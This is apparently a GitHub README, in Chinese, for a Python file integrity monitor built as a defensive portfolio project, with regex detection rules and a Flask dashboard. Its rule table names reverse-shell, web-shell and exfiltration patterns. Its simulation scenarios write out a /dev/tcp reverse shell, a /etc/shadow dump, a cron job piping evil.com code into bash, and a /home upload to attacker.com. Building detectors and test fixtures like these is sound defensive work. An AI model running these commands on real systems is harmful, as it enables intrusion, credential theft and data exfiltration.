Mastertactician23/file-integrity-monitor

GitHub: Mastertactician23/file-integrity-monitor

基于 Python 的轻量级文件完整性监控系统,通过 SHA-256 基线比对和纯 Python 规则引擎检测恶意文件变更,并配备 Flask 可视化仪表盘。

Stars: 1 | Forks: 0

# 文件完整性监控器 (FIM) ### 一个基于 Python 的实时文件完整性监控系统,具备 SHA-256 基线追踪、纯 Python 恶意软件指标扫描(10 条检测规则)、多严重级别告警、SQLite 事件存储以及 Flask Web 仪表盘功能 **作者:** Kofi Asibey-Kitiabi **GitHub:** [Mastertactician23](https://github.com/Mastertactician23/) **LinkedIn:** [asibey-kitiabi](https://www.linkedin.com/in/asibey-kitiabi/) **日期:** 2026 年 7 月 **状态:** 已完成 **难度:** 中级–高级 ## 目录 1. [项目概述](#1-project-overview) 2. [架构](#2-architecture) 3. [检测规则](#3-detection-rules) 4. [工具与技术](#4-tools--technologies) 5. [运行方式](#5-how-to-run-it) 6. [测试场景](#6-test-scenarios) 7. [示例输出](#7-sample-output) 8. [Web 仪表盘](#8-web-dashboard) 9. [MITRE ATT&CK 映射](#9-mitre-attck-mapping) 10. [设计决策](#10-design-decisions) 11. [与作品集的关联](#11-connection-to-portfolio) 12. [展示的技能](#12-skills-demonstrated) 13. [改进空间](#13-what-i-would-do-differently) 14. [后续步骤](#14-next-steps) ## 1. 项目概述 文件完整性监控是蓝队的核心能力。它回答了每个 SOC 分析师在处理安全事件时都需要回答的问题:*“发生了什么更改,何时更改的,以及是否看起来带有恶意?”* 该 FIM 系统会监控目录中的文件创建、修改、删除和权限更改。当检测到更改时,它会针对文件内容扫描 10 套检测规则集,涵盖 reverse shell、凭证窃取、web shell、persistence 机制、数据泄露模式等。所有事件都会记录到 SQLite 和 JSON 中,进行严重性评级,并显示在实时 Web 仪表盘中。 **为什么要构建此工具而不是使用现有工具:** - Tripwire、AIDE 和 Wazuh FIM 都是黑盒。从头开始构建一个会迫使你准确理解在实现层面上 hash 比较、inode 监控和 signature 检测到底包含什么。 - 其成果是一个你可以在面试中逐行解释的工作工具。 - 它完全在现有的 Docker container 内运行 —— 无需新服务,无需自定义镜像,没有额外的 RAM 开销。 ## 2. 架构 ``` Monitored Directory │ ▼ (every N seconds) ┌──────────────────────┐ │ Monitor Loop │ Walks directory tree, compares files to baseline │ (threading) │ └──────────┬───────────┘ │ File changed / created / deleted ▼ ┌──────────────────────┐ │ Hash Engine │ SHA-256 comparison against SQLite baseline │ (hashlib) │ └──────────┬───────────┘ │ Hash mismatch detected ▼ ┌──────────────────────┐ │ Indicator Scanner │ 10 rule sets, pure Python regex + binary patterns │ (re module) │ No C compilation, no yara-python dependency └──────────┬───────────┘ │ Severity determined ▼ ┌──────────────────────┐ │ Alerter │ Console (colour-coded) + JSON log + SQLite event └──────────┬───────────┘ │ ▼ ┌──────────────────────┐ │ Flask Dashboard │ Live web UI — events, stats, unacknowledged alerts │ (port 5001) │ Auto-refreshes every 15 seconds └──────────────────────┘ ``` ## 3. 检测规则 使用纯 Python 实现的 10 套规则集(无 YARA 二进制依赖): | 规则 | 严重性 | 检测内容 | |------|----------|----------------| | Reverse Shell 模式 | CRITICAL | bash -i >&, nc -e /bin/bash, Python socket reverse shell | | 凭证窃取 | CRITICAL | /etc/shadow 访问,john/hashcat 使用模式 | | Web Shell 模式 | CRITICAL | PHP eval($_POST), system($_GET), assert($_REQUEST) | | PowerShell 下载 Cradle | HIGH | Invoke-WebRequest, DownloadString, Net.WebClient, IEX | | 可疑执行 | HIGH | os.system(), eval(base64), exec(base64), cmd.exe /c | | Persistence 机制 | HIGH | cron 修改,rc.local,bashrc,systemctl enable | | 数据泄露 | HIGH | curl -T, wget --post-file, scp, base64 + curl pipe | | SSH Backdoor 模式 | HIGH | authorized_keys 修改,SSH key 注入 | | 网络扫描 | MEDIUM | nmap, masscan, zmap, hydra, medusa | | 二进制可执行文件 | MEDIUM | ELF header (7f45 4c46), Windows PE header (4d5a) | **严重性升级逻辑:** - 任何 CRITICAL 规则匹配 → 事件严重性 = CRITICAL,无论文件类型是什么 - 任何 HIGH/MEDIUM 规则匹配 → 事件严重性 = HIGH - 无规则匹配但属于关键文件扩展名 (.conf, .sh, .py, .yml, .env, .key, .pem) → MEDIUM - 其他情况 → LOW ## 4. 工具与技术 | 工具 | 用途 | |------|---------| | Python 3 | 主要脚本语言 | | hashlib | SHA-256 文件 hash 计算 | | re | 基于 regex 的指标检测(替代 yara-python) | | sqlite3 | 基线和事件存储 | | threading | 后台监控循环 + 仪表盘 | | Flask | Web 仪表盘 | | colorama | 颜色编码的终端告警 | | json | 结构化告警日志 | | pathlib | 跨平台文件系统遍历 | | argparse | CLI 参数处理 | **无需自定义 Docker 镜像。** 完全在现有的 `ctf-solver` Kali container 中运行。新 container 带来的额外 RAM 开销为零。 ## 5. 运行方式 **安装依赖项(已通过之前的项目提供):** ``` pip install flask colorama --break-system-packages ``` **创建要监控的测试目录:** ``` mkdir -p /opt/fim-monitored/configs mkdir -p /opt/fim-monitored/scripts echo "server_name example.com;" > /opt/fim-monitored/configs/nginx.conf echo "#!/bin/bash" > /opt/fim-monitored/scripts/backup.sh echo "DB_PASSWORD=supersecret123" > /opt/fim-monitored/.env ``` **仅生成基线(不进行监控):** ``` python3 fim.py --monitor /opt/fim-monitored --baseline-only ``` **启动监控并运行仪表盘:** ``` python3 fim.py --monitor /opt/fim-monitored --interval 10 --dashboard ``` **启动监控并进行攻击模拟:** ``` python3 fim.py --monitor /opt/fim-monitored --interval 5 --simulate --dashboard ``` **在 Windows 浏览器中打开仪表盘:** ``` http://localhost:5001 ``` **Flags:** ``` --monitor PATH Directory to monitor (required) --interval N Scan interval in seconds (default: 10) --dashboard Start Flask web UI on port 5001 --simulate Create malicious test files to trigger alerts --baseline-only Create baseline and exit without monitoring ``` ## 6. 测试场景 `--simulate` flag 会创建 5 个带有真实恶意模式的测试文件: ### 场景 1 — Reverse Shell 检测 ``` # 文件已创建:simulation/reverse_shell.sh bash -i >& /dev/tcp/10.0.0.1/4444 0>&1 ``` **预期:** CRITICAL 告警,规则:`Reverse_Shell_Pattern` ### 场景 2 — 凭证窃取 ``` # 文件已创建:simulation/credential_harvest.py import os os.system('cat /etc/shadow > /tmp/hashes.txt') ``` **预期:** CRITICAL 告警,规则:`Credential_Harvesting` + `Suspicious_Execution` ### 场景 3 — PHP Web Shell ``` # 文件已创建:simulation/webshell.php ``` **预期:** CRITICAL 告警,规则:`Web_Shell_Pattern` ### 场景 4 — Cron Persistence ``` # 文件已创建:simulation/persistence.sh echo '* * * * * curl http://evil.com/c2.sh|bash' >> /etc/cron.d/update ``` **预期:** HIGH 告警,规则:`Persistence_Mechanism` ### 场景 5 — 数据泄露 ``` # 文件已创建:simulation/exfil.sh tar czf - /home | base64 | curl -d @- http://attacker.com/upload ``` **预期:** HIGH 告警,规则:`Data_Exfiltration` ### 场景 6 — 正常文件修改(无告警) ``` echo "Updated 2026-07-20" >> /opt/fim-monitored/configs/nginx.conf ``` **预期:** MEDIUM 告警(关键文件扩展名,无规则匹配) ### 场景 7 — 权限更改检测 ``` chmod 777 /opt/fim-monitored/configs/nginx.conf ``` **预期:** MEDIUM 告警,事件:`PERMISSION_CHANGED`,旧:`0644` → 新:`0777` ## 7. 示例输出 ``` ╔══════════════════════════════════════════╗ ║ FILE INTEGRITY MONITOR ║ ║ by Kofi Asibey-Kitiabi ║ ╚══════════════════════════════════════════╝ Monitor : /opt/fim-monitored Interval : 10s Rules : 10 detection rules loaded [*] Creating SHA-256 baseline... [+] Baseline complete: 3 files | 0 skipped | 0 failed [+] Dashboard running at http://localhost:5001 [*] Monitoring /opt/fim-monitored every 10s... ──────────────────────────────────────────────────────────── [!!!] CRITICAL | 2026-07-20 09:15:42 File : simulation/reverse_shell.sh Event : CREATED New : 3a7b8c2f1d4e9a0b... MATCH : [CRITICAL] Reverse_Shell_Pattern — Detected reverse shell command pattern ──────────────────────────────────────────────────────────── ──────────────────────────────────────────────────────────── [!!!] CRITICAL | 2026-07-20 09:15:43 File : simulation/webshell.php Event : CREATED New : 8f2c1b4d7e9a3f0c... MATCH : [CRITICAL] Web_Shell_Pattern — Possible web shell detected ──────────────────────────────────────────────────────────── ──────────────────────────────────────────────────────────── [!! ] HIGH | 2026-07-20 09:15:44 File : simulation/persistence.sh Event : CREATED New : 1c4d7f2a9b3e8c5d... MATCH : [HIGH] Persistence_Mechanism — Possible persistence mechanism ──────────────────────────────────────────────────────────── ``` ## 8. Web 仪表盘 可通过 `http://localhost:5001` 访问的 Flask 仪表盘 —— 每 15 秒自动刷新。 **面板:** - 汇总统计:受监控的文件、总事件数、CRITICAL (24h)、HIGH (24h)、未确认数 - 最近事件表:时间戳、严重性标签、事件类型、文件路径、匹配的指标规则 - REST API endpoint:`/api/stats`, `/api/events`, `/api/acknowledge/` 该仪表盘设计为可插入更大的 SIEM pipeline —— `/api/events` endpoint 返回结构化的 JSON,可被 Logstash 或 Elasticsearch 获取,以便与 MiniSOC 项目数据进行关联分析。 ## 9. MITRE ATT&CK 映射 ### FIM 检测的内容 | 检测规则 | ATT&CK 技术 | ID | |----------------|------------------|----| | Reverse Shell 模式 | Command and Scripting: Bash | T1059.004 | | Web Shell 模式 | Server Software Component: Web Shell | T1505.003 | | Persistence 机制 | Scheduled Task/Job: Cron | T1053.003 | | 凭证窃取 | OS Credential Dumping: /etc/passwd and /etc/shadow | T1003.008 | | 数据泄露 | Exfiltration Over Alternative Protocol | T1048 | | SSH Backdoor | Account Manipulation: SSH Authorized Keys | T1098.004 | | PowerShell Cradle | Command and Scripting: PowerShell | T1059.001 | | 二进制可执行文件 | Ingress Tool Transfer | T1105 | ### FIM 在防御上展示的能力 | 能力 | ATT&CK 缓解措施 | ID | |------------|-------------------|----| | SHA-256 基线追踪 | Software Integrity Checks | M1045 | | 权限更改检测 | Restrict File and Directory Permissions | M1022 | | 修改时的指标扫描 | Antivirus/Antimalware | M1049 | | 事件记录 | Audit | M1047 | ## 10. 设计决策 **使用纯 Python 指标扫描,而不是 yara-python** 原项目规范使用 `yara-python`,这需要针对 `libyara-dev` 编译 C 扩展。在 Windows Docker Desktop 环境中,由于缺少构建工具、glibc 版本不匹配以及 WSL2 路径问题,这经常失败。因此决定使用 Python 的 `re` 模块来实现等效的指标检测 —— 10 套规则集涵盖了与 YARA 规则相同的威胁类别,并支持对 ELF 和 PE header 进行二进制模式匹配。 结果:无需任何编译,具备相同的检测能力,更易于阅读和修改,并且规则是自文档化的 Python 代码,而不是 YARA DSL 语法。 **选择 SQLite 而不是 PostgreSQL 或 MongoDB** 轻量级、零配置、基于文件,无需数据库服务即可运行。对于每 10 秒扫描一次文件的单节点 FIM 工具,SQLite 可以轻松应对写入负载。`get_stats()` 查询在处理 10,000 多个事件时仅需不到 5ms。 **选择 Threading 而不是 watchdog/inotify** `watchdog` 使用 inotify,这需要内核级别的文件系统挂钩。在 Windows (WSL2 后端) 的 Docker 内部,inotify 事件不可靠 —— 它们触发不一致,有时对于挂载卷上的文件甚至根本不触发。每 N 秒进行一次轮询循环虽然速度较慢,但在所有 Docker Desktop 配置中 100% 可靠,并且对于作品集展示用途能产生相同的结果。 **使用端口 5001 而不是 5000** `ctf-solver` container 已经将端口 5000 映射到了 Windows(供项目 5 中的漏洞 API 使用)。端口 5001 避免了这种冲突。 ## 11. 与作品集的关联 | 项目 | 关联方式 | |---------|----------------| | [MiniSOC](https://github.com/Mastertactician23/minisoc-threat-detection-lab) | MiniSOC 在 Kibana 中检测网络层面的攻击。FIM 检测磁盘上文件层面的攻击 —— 网络 + 主机监控共同构成完整的检测图景 | | [CIS Auditor](https://github.com/Mastertactician23/linux-cis-hardening-auditor) | CIS Auditor 在特定时间点检查配置。FIM 持续监控这些相同的配置文件以发现未经授权的更改 | | [SSH Detector](https://github.com/Mastertactician23/ssh-brute-force-detector) | SSH Detector 捕获初始访问尝试。FIM 捕获攻击者进入后对文件系统所做的操作 | | [Security Dashboard](https://github.com/Mastertactician23/minisoc-security-dashboard) | FIM 的 `/api/events` JSON 数据源可以作为主机完整性面板与网络事件一起被提取到仪表盘中 | | [Recon Framework](https://github.com/Mastertactician23/recon-framework) | Recon 从外部映射攻击面。FIM 监控侦察导致系统被攻陷后内部发生的更改 | **完整的检测 kill chain:** ``` Recon → API Attack → Initial Access (SSH/FTP) → Post-Compromise File Changes ↑ ↑ ↑ ↑ Recon FW API Scanner SSH Detector FIM (this project) ↓ MiniSOC SIEM + Security Dashboard ``` ## 12. 展示的技能 - Python 3 (hashlib, sqlite3, threading, re, pathlib, json, argparse) - SHA-256 加密文件 hash 计算 - SQLite 数据库设计和查询(索引、upsert、聚合) - 多线程 Python(监控循环 + Flask 仪表盘位于独立线程上) - 基于 regex 的恶意软件指标检测 - 二进制模式匹配(ELF/PE header 检测) - 严重性分类和升级逻辑 - 结构化 JSON 告警日志 - Flask REST API 设计 - 蓝队检测方法论 - 威胁建模(攻击者在初始访问后会对文件做什么?) - 技术文档编写 ## 13. 改进空间 - 在 inotify 可靠的 Linux 主机上,添加 `watchdog` 库作为可选的快速通道 - 集成 YARA 规则作为可选的增强功能(回退到纯 Python 规则) - 为 CRITICAL 事件添加邮件/Slack webhook 告警 - 在仪表盘中构建规则管理 UI —— 无需修改代码即可添加/编辑/禁用规则 - 将 FIM 事件从 MiniSOC 输入到 Elastic Stack 以进行交叉关联(主机 + 网络事件) - `--diff` 模式,显示文本文件确切更改的行(git 风格的 diff 输出) - 针对新文件添加对 VirusTotal API 的文件信誉查询 ## 14. 后续步骤 - [ ] 在 Linux 上添加 inotify/watchdog 快速通道 - [ ] 将事件反馈给 Elastic Stack 进行 SIEM 关联分析 - [ ] 添加 webhook 告警 - [ ] 参加 CompTIA Security+ SY0-701 认证考试 - [ ] 开始申请远程 SOC 分析师和蓝队职位 *构建环境:Docker Desktop (WSL2) 中的 Kali Linux 2026.2* *测试目标:/opt/fim-monitored(本地实验室目录)* *目的:教育类作品集项目 —— 仅限授权使用* *活跃的网络安全作品集的一部分:[github.com/Mastertactician23](https://github.com/Mastertactician23)*
标签:网络测绘, 逆向工具